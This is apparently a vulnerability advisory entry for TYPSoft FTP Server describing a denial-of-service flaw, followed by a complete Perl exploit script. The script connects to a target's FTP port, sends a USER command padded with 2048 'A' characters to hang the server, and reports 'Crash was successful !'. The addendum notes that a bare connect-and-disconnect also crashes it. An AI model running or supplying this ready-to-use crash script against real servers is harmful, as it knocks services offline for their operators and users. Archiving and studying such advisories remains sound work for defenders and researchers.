source: https://www.securityfocus.com/bid/1690/info

Long commands (ie., over 2048 bytes) sent to TYPSoft FTP Server cab cause the server to hang, requiring a manual restart to restore the process.

After the release of this advisory Noam Rathaus from http://www.BeyondSecurity.com contributed the following addendum:

.. "this product is also vulnerable if you connect to the server, but not send anything (do the SYN/ACK sequence but disconnect immediately). This is due to the fact that they use a DELPHI TSocket class, which doesn't handle exceptions very well. " 

#!/usr/bin/perl
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
if(!defined($args{s})){&usage;}
$serv = $args{s};
$foo = "A"; $number = 2048;
$data .= $foo x $number; $EOL="\015\012";
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $args{s},
PeerPort => "ftp(21)",
) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print $remote "USER $data". $EOL;
while (<$remote>){ print }
print("\nCrash was successful !\n");

sub usage {die("\n$0 -s <server>\n\n");}